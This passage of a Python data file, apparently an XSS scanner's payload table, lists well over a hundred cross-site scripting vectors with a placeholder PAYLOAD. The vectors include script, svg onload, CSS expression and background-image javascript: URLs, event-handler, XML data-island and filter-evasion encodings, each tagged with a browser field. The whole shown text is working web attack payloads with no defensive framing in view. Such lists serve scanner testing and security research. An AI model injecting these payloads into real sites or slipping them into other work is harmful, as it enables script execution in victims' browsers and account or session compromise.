  2288.         { 'payload':'''<script>alert(\'PAYLOAD\')</script>''',
    2289. 

  2289.           'browser':"""[Not Info]"""},
    2290. 

  2290.         { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
    2291. 

  2291.           'browser':"""[Not Info]"""},
    2292. 

  2292.         { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
    2293. 

  2293.           'browser':"""[Not Info]"""},
    2294. 

  2294.         { 'payload':'''<script>alert(PAYLOAD)<!-- '</script>''',
    2295. 

  2295.           'browser':"""[Not Info]"""},
    2296. 

  2296.         { 'payload':'''<script>alert(PAYLOAD)</script>;''',
    2297. 

  2297.           'browser':"""[Not Info]"""},
    2298. 

  2298.         { 'payload':'''<script>alert(PAYLOAD)</script>/''',
    2299. 

  2299.           'browser':"""[Not Info]"""},
    2300. 

  2300.         { 'payload':'''<script>alert(PAYLOAD);</script>''',
    2301. 

  2301.           'browser':"""[Not Info]"""},
    2302. 

  2302.         { 'payload':''''`"><script>alert(PAYLOAD)</script>''',
    2303. 

  2303.           'browser':"""[Not Info]"""},
    2304. 

  2304.         { 'payload':'''' '><script>alert(PAYLOAD)</script>''',
    2305. 

  2305.           'browser':"""[Not Info]"""},
    2306. 

  2306.         { 'payload':'''''><script>alert(PAYLOAD)</script>''',
    2307. 

  2307.           'browser':"""[Not Info]"""},
    2308. 

  2308.         { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
    2309. 

  2309.           'browser':"""[Not Info]"""},
    2310. 

  2310.         { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
    2311. 

  2311.           'browser':"""[Not Info]"""},
    2312. 

  2312.         { 'payload':''''"`><script>/* *alert(PAYLOAD)// */</script>''',
    2313. 

  2313.           'browser':"""[Not Info]"""},
    2314. 

  2314.         { 'payload':'''’><script>alert(PAYLOAD)</script>''',
    2315. 

  2315.           'browser':"""[Not Info]"""},
    2316. 

  2316.         { 'payload':'''"`'><script>alert(PAYLOAD)</script>''',
    2317. 

  2317.           'browser':"""[Not Info]"""},
    2318. 

  2318.         { 'payload':'''"'`><script>alert(PAYLOAD)</script>''',
    2319. 

  2319.           'browser':"""[Not Info]"""},
    2320. 

  2320.         { 'payload':'''“<script>alert(PAYLOAD)</script>''',
    2321. 

  2321.           'browser':"""[Not Info]"""},
    2322. 

  2322.         { 'payload':'''“><<script>alert(PAYLOAD);//<</script>''',
    2323. 

  2323.           'browser':"""[Not Info]"""},
    2324. 

  2324.         { 'payload':'''“><script >alert(PAYLOAD)</script>''',
    2325. 

  2325.           'browser':"""[Not Info]"""},
    2326. 

  2326.         { 'payload':'''“><script >alert(PAYLOAD)</script >''',
    2327. 

  2327.           'browser':"""[Not Info]"""},
    2328. 

  2328.         { 'payload':'''&<script>alert(PAYLOAD);</script>''',
    2329. 

  2329.           'browser':"""[Not Info]"""},
    2330. 

  2330.         { 'payload':'''#<script>alert(PAYLOAD)</script>''',
    2331. 

  2331.           'browser':"""[Not Info]"""},
    2332. 

  2332.         { 'payload':'''“><ScRiPt>alert(PAYLOAD)</script>''',
    2333. 

  2333.           'browser':"""[Not Info]"""},
    2334. 

  2334.         { 'payload':'''“><ScRiPt>alert(PAYLOAD)</ScRiPt>''',
    2335. 

  2335.           'browser':"""[Not Info]"""},
    2336. 

  2336.         { 'payload':'''<<SCRIPT>alert(PAYLOAD);//<</SCRIPT>''',
    2337. 

  2337.           'browser':"""[Not Info]"""},
    2338. 

  2338.         { 'payload':'''<SCRIPT> alert(\"PAYLOAD\")</SCRIPT>''',
    2339. 

  2339.           'browser':"""[Not Info]"""},
    2340. 

  2340.         { 'payload':'''<SCRIPT> alert(\"PAYLOAD\");</SCRIPT>''',
    2341. 

  2341.           'browser':"""[Not Info]"""},
    2342. 

  2342.         { 'payload':'''<SCRIPT>alert(PAYLOAD);</SCRIPT>''',
    2343. 

  2343.           'browser':"""[Not Info]"""},
    2344. 

  2344.         { 'payload':'''<script>alert(PAYLOAD)<script></script>''',
    2345. 

  2345.           'browser':"""[Not Info]"""},
    2346. 

  2346.         { 'payload':'''<script>alert%28PAYLOAD%29</script>''',
    2347. 

  2347.           'browser':"""[Not Info]"""},
    2348. 

  2348.         { 'payload':'''<script>alert(alert(PAYLOAD))</script>''',
    2349. 

  2349.           'browser':"""[Not Info]"""},
    2350. 

  2350.         { 'payload':'''&'"><script>alert(/PAYLOAD/)</āăą>''',
    2351. 

  2351.           'browser':"""[Not Info]"""},
    2352. 

  2352.         { 'payload':'''<!-- --!><script>alert(PAYLOAD)</script>-->''',
    2353. 

  2353.           'browser':"""[Not Info]"""},
    2354. 

  2354.         { 'payload':'''&'"><script>alert(/PAYLOAD/)</script>''',
    2355. 

  2355.           'browser':"""[Not Info]"""},
    2356. 

  2356.         { 'payload':'''<script>alert(/PAYLOAD/)</script>''',
    2357. 

  2357.           'browser':"""[Not Info]"""},
    2358. 

  2358.         { 'payload':'''<script>alert("/PAYLOAD"/)</script>''',
    2359. 

  2359.           'browser':"""[Not Info]"""},
    2360. 

  2360.         { 'payload':'''”><script>alert(“PAYLOAD”)</script>''',
    2361. 

  2361.           'browser':"""[Not Info]"""},
    2362. 

  2362.         { 'payload':'''\"><script>alert(/PAYLOAD/)<script>''',
    2363. 

  2363.           'browser':"""[Not Info]"""},
    2364. 

  2364.         { 'payload':'''<ScriPt>ALeRt(“ PAYLOAD ”)</scriPt>''',
    2365. 

  2365.           'browser':"""[Not Info]"""},
    2366. 

  2366.         { 'payload':'''<<SCRIPT>alert("PAYLOAD");//<</SCRIPT>''',
    2367. 

  2367.           'browser':"""[Not Info]"""},
    2368. 

  2368.         { 'payload':'''<SCRIPT>+alert("PAYLOAD")</SCRIPT>''',
    2369. 

  2369.           'browser':"""[Not Info]"""},
    2370. 

  2370.         { 'payload':'''<SCRIPT>+alert("PAYLOAD");</SCRIPT>''',
    2371. 

  2371.           'browser':"""[Not Info]"""},
    2372. 

  2372.         { 'payload':'''&'"><script>alert&lpar;&sol;PAYLOAD&sol;&rpar;<&sol;script>''',
    2373. 

  2373.           'browser':"""[Not Info]"""},
    2374. 

  2374.         { 'payload':'''<script Y>/*<script* */alert(PAYLOAD)</script''',
    2375. 

  2375.           'browser':"""[ALL]"""},
    2376. 

  2376.         { 'payload':'''<SCRIPT <B>alert(PAYLOAD);</SCRIPT>''',
    2377. 

  2377.           'browser':"""[Not Info]"""},
    2378. 

  2378.         { 'payload':'''"`'><script>%C2%85javascript:alert(PAYLOAD)</script>''',
    2379. 

  2379.           'browser':"""[Not Info]"""},
    2380. 

  2380.         { 'payload':'''"`'><script>%C2%A0javascript:alert(PAYLOAD)</script>''',
    2381. 

  2381.           'browser':"""[Not Info]"""},
    2382. 

  2382.         { 'payload':'''<script charset="%22>javascript:alert(PAYLOAD)</script>''',
    2383. 

  2383.           'browser':"""[Not Info]"""},
    2384. 

  2384.         { 'payload':'''<script charset='utf-8'>alert(PAYLOAD)</script>''',
    2385. 

  2385.           'browser':"""[Not Info]"""},
    2386. 

  2386.         { 'payload':'''<script> chr=String.fromCharCode(PAYLOAD); result=''; try{ result=encodeURI(chr); }catch(e){} if(!/%25/.Y(result)&&result.length) { ids.push(PAYLOAD); } </script>''',
    2387. 

  2387.           'browser':"""[Not Info]"""},
    2388. 

  2388.         { 'payload':'''<script> chr=String.fromCharCode(1); result=''; try{ result=encodeURIComponent(chr); }catch(e){} if(!/%25/.Y(result)&&result.length) { ids.push(PAYLOAD); } </script>''',
    2389. 

  2389.           'browser':"""[Not Info]"""},
    2390. 

  2390.         { 'payload':'''<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(PAYLOAD)',384,null,'rsa-dual-use')</script>''',
    2391. 

  2391.           'browser':"""[Not Info]"""},
    2392. 

  2392.         { 'payload':'''"`'><script>%E1%9A%80javascript:alert(PAYLOAD)</script>''',
    2393. 

  2393.           'browser':"""[Not Info]"""},
    2394. 

  2394.         { 'payload':'''"`'><script>%E1%A0%8Ejavascript:alert(PAYLOAD)</script>''',
    2395. 

  2395.           'browser':"""[Not Info]"""},
    2396. 

  2396.         { 'payload':'''<script>eval(‘a%006cert(PAYLOAD)’);</script>''',
    2397. 

  2397.           'browser':"""[Not Info]"""},
    2398. 

  2398.         { 'payload':'''<script>eval(‘a\154ert(PAYLOAD)’);</script>''',
    2399. 

  2399.           'browser':"""[Not Info]"""},
    2400. 

  2400.         { 'payload':'''<script>eval(‘a%6cert(PAYLOAD)’);</script>''',
    2401. 

  2401.           'browser':"""[Not Info]"""},
    2402. 

  2402.         { 'payload':'''<script>eval(‘a\l\ert\(PAYLOAD\)’);</script>''',
    2403. 

  2403.           'browser':"""[Not Info]"""},
    2404. 

  2404.         { 'payload':'''<script>eval(‘al’+’ert(PAYLOAD)’);</script>''',
    2405. 

  2405.           'browser':"""[Not Info]"""},
    2406. 

  2406.         { 'payload':'''<script>execScript(“MsgBox PAYLOAD”,”vbscript”);</script>''',
    2407. 

  2407.           'browser':"""[Not Info]"""},
    2408. 

  2408.         { 'payload':'''"`'><script>%F0%90%96%9Ajavascript:alert(PAYLOAD)</script>''',
    2409. 

  2409.           'browser':"""[Not Info]"""},
    2410. 

  2410.         { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>alert(PAYLOAD)</SCRIPT>''',
    2411. 

  2411.           'browser':"""[Not Info]"""},
    2412. 

  2412.         { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(PAYLOAD)</SCRIPT>''',
    2413. 

  2413.           'browser':"""[Not Info]"""},
    2414. 

  2414.         { 'payload':'''<SCRIPT FOR=document EVENT=onreadystatechange>prompt(PAYLOAD)</SCRIPT>''',
    2415. 

  2415.           'browser':"""[Not Info]"""},
    2416. 

  2416.         { 'payload':'''<script>function::[‘alert’](PAYLOAD)</script>''',
    2417. 

  2417.           'browser':"""[Not Info]"""},
    2418. 

  2418.         { 'payload':'''<script> function a() {} </script> <img src=PAYLOAD onerror="a();alert(PAYLOAD)">''',
    2419. 

  2419.           'browser':"""[Not Info]"""},
    2420. 

  2420.         { 'payload':'''<script> if ('a'.trim() === '') { alert(PAYLOAD); } </script>''',
    2421. 

  2421.           'browser':"""[Not Info]"""},
    2422. 

  2422.         { 'payload':'''<script>if("x\%E0%B9%92".length==2) { javascript:alert(PAYLOAD);}</script>''',
    2423. 

  2423.           'browser':"""[Not Info]"""},
    2424. 

  2424.         { 'payload':'''<script>if("x\%E1%96%89".length==2) { javascript:alert(PAYLOAD);}</script>''',
    2425. 

  2425.           'browser':"""[Not Info]"""},
    2426. 

  2426.         { 'payload':'''<script>if("x\%EE%A9%93".length==2) { javascript:alert(PAYLOAD);}</script>''',
    2427. 

  2427.           'browser':"""[Not Info]"""},
    2428. 

  2428.         { 'payload':'''<script>if("x\".length==1) { alert(PAYLOAD);}</script>''',
    2429. 

  2429.           'browser':"""[Not Info]"""},
    2430. 

  2430.         { 'payload':'''<script>if("x\".length==2) { alert(PAYLOAD);}</script>''',
    2431. 

  2431.           'browser':"""[Not Info]"""},
    2432. 

  2432.         { 'payload':'''' style=Y:expression(PAYLOAD) ' \" style=Y:expression(PAYLOAD) \"''',
    2433. 

  2433.           'browser':"""[Not Info]"""},
    2434. 

  2434.         { 'payload':'''<style><img src="</style><img src=x onerror=alert(PAYLOAD)//">''',
    2435. 

  2435.           'browser':"""[Not Info]"""},
    2436. 

  2436.         { 'payload':'''<style><img src="</style><img src=x onerror=javascript:alert(PAYLOAD)//">''',
    2437. 

  2437.           'browser':"""[Not Info]"""},
    2438. 

  2438.         { 'payload':'''<style><img src="</style><img src=x onerror=prompt(1)//">''',
    2439. 

  2439.           'browser':"""[Not Info]"""},
    2440. 

  2440.         { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:alert(PAYLOAD)';</STYLE>''',
    2441. 

  2441.           'browser':"""[Not Info]"""},
    2442. 

  2442.         { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:alert("PAYLOAD")';</STYLE>''',
    2443. 

  2443.           'browser':"""[Not Info]"""},
    2444. 

  2444.         { 'payload':'''<STYLE>.T{background-image:url("javascript:alert(PAYLOAD)");}</STYLE>''',
    2445. 

  2445.           'browser':"""[Not Info]"""},
    2446. 

  2446.         { 'payload':'''<STYLE>.T{background-image:url("javascript:alert(PAYLOAD)");}</STYLE><A CLASS=T></A>''',
    2447. 

  2447.           'browser':"""[Not Info]"""},
    2448. 

  2448.         { 'payload':'''<STYLE>.T{background-image:url("javascript:alert('PAYLOAD')");}</STYLE><A CLASS=T></A>''',
    2449. 

  2449.           'browser':"""[Not Info]"""},
    2450. 

  2450.         { 'payload':'''<STYLE>.T{background-image:url("javascript:javascript:alert(PAYLOAD)");}</STYLE><A CLASS=T></A>''',
    2451. 

  2451.           'browser':"""[Not Info]"""},
    2452. 

  2452.         { 'payload':'''<STYLE>li {list-style-image: url("javascript:alert(PAYLOAD)");}</STYLE><UL><LI>Y''',
    2453. 

  2453.           'browser':"""[Not Info]"""},
    2454. 

  2454.         { 'payload':'''<STYLE>li {list-style-image: url(&quot;javascript:alert(&#39;PAYLOAD&#39;)&quot;);}</STYLE><UL><LI>Y''',
    2455. 

  2455.           'browser':"""[Not Info]"""},
    2456. 

  2456.         { 'payload':'''<style/onload=<!--&#09;>&#10;alert&#10;&lpar;PAYLOAD&rpar;>''',
    2457. 

  2457.           'browser':"""[Not Info]"""},
    2458. 

  2458.         { 'payload':'''<style onLoad style onLoad="javascript:javascript:alert(PAYLOAD)"></style onLoad>''',
    2459. 

  2459.           'browser':"""[Not Info]"""},
    2460. 

  2460.         { 'payload':'''<style onreadystatechange=alert(PAYLOAD)>''',
    2461. 

  2461.           'browser':"""[Not Info]"""},
    2462. 

  2462.         { 'payload':'''<style onreadystatechange=javascript:javascript:alert(PAYLOAD);></style>''',
    2463. 

  2463.           'browser':"""[Not Info]"""},
    2464. 

  2464.         { 'payload':'''<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(PAYLOAD)"></style onReadyStateChange>''',
    2465. 

  2465.           'browser':"""[Not Info]"""},
    2466. 

  2466.         { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:alert(PAYLOAD)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>''',
    2467. 

  2467.           'browser':"""[Not Info]"""},
    2468. 

  2468.         { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(PAYLOAD)'}{}*{-o-link-source:current}]{color:red};</style>''',
    2469. 

  2469.           'browser':"""[Not Info]"""},
    2470. 

  2470.         { 'payload':''''"--></style></script><script>alert("PAYLOAD")</script>''',
    2471. 

  2471.           'browser':"""[Not Info]"""},
    2472. 

  2472.         { 'payload':''''"--></style></script><script>prompt(PAYLOAD)</script>''',
    2473. 

  2473.           'browser':"""[Not Info]"""},
    2474. 

  2474.         { 'payload':'''<///style///><span %2F onmousemove='alert&lpar;PAYLOAD&rpar;'>SPAN''',
    2475. 

  2475.           'browser':"""[Not Info]"""},
    2476. 

  2476.         { 'payload':'''<style></style%09<img src="about:blank" onerror=javascript:alert(PAYLOAD)//></style>''',
    2477. 

  2477.           'browser':"""[Not Info]"""},
    2478. 

  2478.         { 'payload':'''<style></style><img src="about:blank" onerror=alert(PAYLOAD)//></style>''',
    2479. 

  2479.           'browser':"""[Not Info]"""},
    2480. 

  2480.         { 'payload':'''<style><!--</style><script>alert(PAYLOAD);//--></script>''',
    2481. 

  2481.           'browser':"""[Not Info]"""},
    2482. 

  2482.         { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:alert(PAYLOAD)")}</STYLE>''',
    2483. 

  2483.           'browser':"""[Not Info]"""},
    2484. 

  2484.         { 'payload':'''<STYLE TYPE="text/javascript">alert(PAYLOAD);</STYLE>''',
    2485. 

  2485.           'browser':"""[Not Info]"""},
    2486. 

  2486.         { 'payload':'''<STYLE TYPE="text/javascript">alert('PAYLOAD');</STYLE>''',
    2487. 

  2487.           'browser':"""[Not Info]"""},
    2488. 

  2488.         { 'payload':'''<STYLE TYPE="text/javascript">javascript:alert(PAYLOAD);</STYLE>''',
    2489. 

  2489.           'browser':"""[Not Info]"""},
    2490. 

  2490.         { 'payload':'''<// style=x:expression\28javascript:alert(PAYLOAD)\29>''',
    2491. 

  2491.           'browser':"""[Not Info]"""},
    2492. 

  2492.         { 'payload':'''<// style=x:expression\28write(PAYLOAD)\29>''',
    2493. 

  2493.           'browser':"""[Not Info]"""},
    2494. 

  2494.         { 'payload':'''<style>*{x:expression(write(PAYLOAD))}</style>''',
    2495. 

  2495.           'browser':"""[Not Info]"""},
    2496. 

  2496.         { 'payload':'''<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(PAYLOAD))}</style>''',
    2497. 

  2497.           'browser':"""[Not Info]"""},
    2498. 

  2498.         { 'payload':'''<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(PAYLOAD)//"></svg>''',
    2499. 

  2499.           'browser':"""[Not Info]"""},
    2500. 

  2500.         { 'payload':'''<svg contentScriptType=text/vbs><script>MsgBox+PAYLOAD''',
    2501. 

  2501.           'browser':"""[Not Info]"""},
    2502. 

  2502.         { 'payload':'''<svg/onload=alert(PAYLOAD)''',
    2503. 

  2503.           'browser':"""[Not Info]"""},
    2504. 

  2504.         { 'payload':'''<svg><style>{font-family&colon;"<iframe/onload=confirm(PAYLOAD)>"''',
    2505. 

  2505.           'browser':"""[Not Info]"""},
    2506. 

  2506.         { 'payload':'''<svg><style><img/src=x onerror=alert(PAYLOAD)// </b>''',
    2507. 

  2507.           'browser':"""[Not Info]"""},
    2508. 

  2508.         { 'payload':'''<svg><style>&ltimg src=x onerror=alert(PAYLOAD)&gt</svg>''',
    2509. 

  2509.           'browser':"""[Not Info]"""},
    2510. 

  2510.         { 'payload':'''</svg>''<svg><script 'Y'>alert&#x28;PAYLOAD&#x29;''',
    2511. 

  2511.           'browser':"""[Not Info]"""},
    2512. 

  2512.         { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(PAYLOAD)"></g></svg''',
    2513. 

  2513.           'browser':"""[Not Info]"""},
    2514. 

  2514.         { 'payload':'''<svg xmlns="http://www.w3.org/2000/svg"><script>alert(PAYLOAD)</script></svg>''',
    2515. 

  2515.           'browser':"""[Not Info]"""},
    2516. 

  2516.         { 'payload':'''<TABLE BACKGROUND="javascript:alert(PAYLOAD)">''',
    2517. 

  2517.           'browser':"""[Not Info]"""},
    2518. 

  2518.         { 'payload':'''<table background="javascript:alert(PAYLOAD)"></table>''',
    2519. 

  2519.           'browser':"""[Not Info]"""},
    2520. 

  2520.         { 'payload':'''<TABLE><TD BACKGROUND="javascript:alert(PAYLOAD)">''',
    2521. 

  2521.           'browser':"""[Not Info]"""},
    2522. 

  2522.         { 'payload':'''<TABLE><TD BACKGROUND="javascript:javascript:alert(PAYLOAD)">''',
    2523. 

  2523.           'browser':"""[Not Info]"""},
    2524. 

  2524.         { 'payload':'''<textarea autofocus onfocus=alert(PAYLOAD)>''',
    2525. 

  2525.           'browser':"""[Not Info]"""},
    2526. 

  2526.         { 'payload':'''<textarea onfocus=javascript:alert(PAYLOAD) autofocus>''',
    2527. 

  2527.           'browser':"""[Not Info]"""},
    2528. 

  2528.         { 'payload':'''<title>Y<script>alert(PAYLOAD)</script></title>''',
    2529. 

  2529.           'browser':"""[Not Info]"""},
    2530. 

  2530.         { 'payload':'''<title onpropertychange=alert(PAYLOAD)></title><title title=></title>''',
    2531. 

  2531.           'browser':"""[Not Info]"""},
    2532. 

  2532.         { 'payload':'''<title onpropertychange=javascript:alert(PAYLOAD)></title><title title=>''',
    2533. 

  2533.           'browser':"""[Not Info]"""},
    2534. 

  2534.         { 'payload':'''<title onPropertyChange title onPropertyChange="javascript:javascript:alert(PAYLOAD)"></title onPropertyChange>''',
    2535. 

  2535.           'browser':"""[Not Info]"""},
    2536. 

  2536.         { 'payload':'''<var onmouseover="prompt(PAYLOAD)">Y</var>​''',
    2537. 

  2537.           'browser':"""[Not Info]"""},
    2538. 

  2538.         { 'payload':'''<video onerror="javascript:alert(PAYLOAD)"><source>''',
    2539. 

  2539.           'browser':"""[Not Info]"""},
    2540. 

  2540.         { 'payload':'''<video onerror="javascript:javascript:alert(PAYLOAD)"><source>''',
    2541. 

  2541.           'browser':"""[Not Info]"""},
    2542. 

  2542.         { 'payload':'''<video poster=javascript:alert(PAYLOAD)//></video>''',
    2543. 

  2543.           'browser':"""[Not Info]"""},
    2544. 

  2544.         { 'payload':'''<video poster=javascript:alert(PAYLOAD)//<video poster=javascript:alert(PAYLOAD)//></video>''',
    2545. 

  2545.           'browser':"""[Not Info]"""},
    2546. 

  2546.         { 'payload':'''<video poster=javascript:javascript:alert(PAYLOAD)//''',
    2547. 

  2547.           'browser':"""[Not Info]"""},
    2548. 

  2548.         { 'payload':'''<video><source onerror="javascript:javascript:alert(PAYLOAD)">''',
    2549. 

  2549.           'browser':"""[Not Info]"""},
    2550. 

  2550.         { 'payload':'''<video><source onerror="prompt(PAYLOAD)"></source></video>''',
    2551. 

  2551.           'browser':"""[Not Info]"""},
    2552. 

  2552.         { 'payload':'''<video src=PAYLOAD href=PAYLOAD onerror="javascript:alert(PAYLOAD)"></video>''',
    2553. 

  2553.           'browser':"""[Not Info]"""},
    2554. 

  2554.         { 'payload':'''<video src=PAYLOAD onerror=alert(PAYLOAD)>''',
    2555. 

  2555.           'browser':"""[Not Info]"""},
    2556. 

  2556.         { 'payload':'''<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#Zault#vml);position:absolute;width:100%25;height:100%25 src=%25(vml)s#PAYLOAD></vmlframe>''',
    2557. 

  2557.           'browser':"""[Not Info]"""},
    2558. 

  2558.         { 'payload':'''X<form id=Y><input></form><button form=Y onformchange==javascript:alert(PAYLOAD)>X''',
    2559. 

  2559.           'browser':"""[Not Info]"""},
    2560. 

  2560.         { 'payload':'''X<form id=Y onforminput=javascript:alert(PAYLOAD)><input></form>''',
    2561. 

  2561.           'browser':"""[Not Info]"""},
    2562. 

  2562.         { 'payload':'''<XML ID=0><I><B><IMG SRC="javas<!-- -->cript:alert(PAYLOAD)"></B></I></XML>''',
    2563. 

  2563.           'browser':"""[Not Info]"""},
    2564. 

  2564.         { 'payload':'''<XML ID=0><I><B>&lt;IMG SRC="javas<!-- -->cript:alert(PAYLOAD)"&gt;</B></I></XML>''',
    2565. 

  2565.           'browser':"""[Not Info]"""},
    2566. 

  2566.         { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(PAYLOAD);">]]>''',
    2567. 

  2567.           'browser':"""[Not Info]"""},
    2568. 

  2568.         { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(PAYLOAD);">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>''',
    2569. 

  2569.           'browser':"""[Not Info]"""},
    2570. 

  2570.         { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(PAYLOAD);">]]</C><X></xml>''',
    2571. 

  2571.           'browser':"""[Not Info]"""},
    2572. 

  2572.         { 'payload':'''<xml id="Y" src="%25(htc)s"></xml> <label dataformatas="html" datasrc="#Y" datafld="PAYLOAD"></label>''',
    2573. 

  2573.           'browser':"""[Not Info]"""},
    2574. 

  2574.         { 'payload':'''<xml id="T" src="Y.htc"></xml><label dataformatas="html" datasrc="#T" datafld="PAYLOAD"></label>''',
    2575. 

  2575.           'browser':"""[Not Info]"""},
    2576. 

  2576.         { 'payload':'''<xml id="X"><a><b><script>alert(PAYLOAD);</script>;</b></a></xml>''',
    2577. 

  2577.           'browser':"""[Not Info]"""},
    2578. 

  2578.         { 'payload':'''<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(PAYLOAD)"></xml onPropertyChange>''',
    2579. 

  2579.           'browser':"""[Not Info]"""},
    2580. 

  2580.         { 'payload':'''<xml onreadystatechange=alert(PAYLOAD)>''',
    2581. 

  2581.           'browser':"""[Not Info]"""},
    2582. 

  2582.         { 'payload':'''<xml> <rect style="height:100%25;width:100%25" id="Y" onmouseover="alert(PAYLOAD)" strokecolor="white" strokeweight="2000px" filled="false" /> </xml>''',
    2583. 

  2583.           'browser':"""[Not Info]"""},
    2584. 

  2584.         { 'payload':'''<xml src="javascript:alert(PAYLOAD);">''',
    2585. 

  2585.           'browser':"""[Not Info]"""},
    2586. 

  2586.         { 'payload':'''<?xml-stylesheet href="javascript:alert(PAYLOAD)"?><root/>''',
    2587. 

  2587.           'browser':"""[Not Info]"""},
    2588. 

  2588.         { 'payload':'''<?xml-stylesheet type="text/css"?><root style="x:expression(write(PAYLOAD))"/>''',
    2589. 

  2589.           'browser':"""[Not Info]"""},
    2590. 

  2590.         { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(PAYLOAD);</html:script></html:html>''',
    2591. 

  2591.           'browser':"""[Not Info]"""},
    2592. 

  2592.         { 'payload':'''<?xml version="1.0"?> x><payload><![CDATA[<img src=x onerror=alert(PAYLOAD)>]]></payload></x>''',
    2593. 

  2593.           'browser':"""[Not Info]"""},
    2594. 

  2594.         { 'payload':'''<xmp> <%25 </xmp> <img alt='%25></xmp><img src=xx:x onerror=alert(PAYLOAD)//'>  <script> x='<%25' </script> %25>/ alert(PAYLOAD) </script>  XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>''',
    2595. 

  2595.           'browser':"""[Not Info]"""},
    2596. 

  2596.         { 'payload':'''<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(PAYLOAD);</x:script>''',
    2597. 

  2597.           'browser':"""[Not Info]"""},
    2598. 

  2598.         { 'payload':'''<x style="background:url('x&#1;;color:red;/*')">PAYLOAD</x>''',
    2599. 

  2599.           'browser':"""[Not Info]"""},
    2600. 

  2600.         { 'payload':'''<x style="background:url('x[a];color:red;/*')">PAYLOAD</x>''',
    2601. 

  2601.           'browser':"""[Not Info]"""},
    2602. 

  2602.         { 'payload':'''<x style=behavior:url(#Zault#time2) onbegin=alert(PAYLOAD)>''',
    2603. 

  2603.           'browser':"""[Not Info]"""},
    2604. 

  2604.         { 'payload':'''<x style=x:expression(alert(PAYLOAD))>''',
    2605. 

  2605.           'browser':"""[Not Info]"""},
    2606. 

  2606.         { 'payload':'''X<x style=`behavior:url(#Zault#time2)` onbegin=`javascript:alert(PAYLOAD)` >''',
    2607. 

  2607.           'browser':"""[Not Info]"""},
    2608. 

  2608.         { 'payload':'''X<x style=`behavior:url(#Zault#time2)` onbegin=`write(PAYLOAD)` >''',
    2609. 

  2609.           'browser':"""[Not Info]"""},
    2610. 

  2610.         { 'payload':'''<form><button formaction=javascript&colon;PAYLOAD>Y''',
    2611. 

  2611.           'browser':"""[Not Info]"""}
    2612. 

  2612. ]
    2613. 

  2613.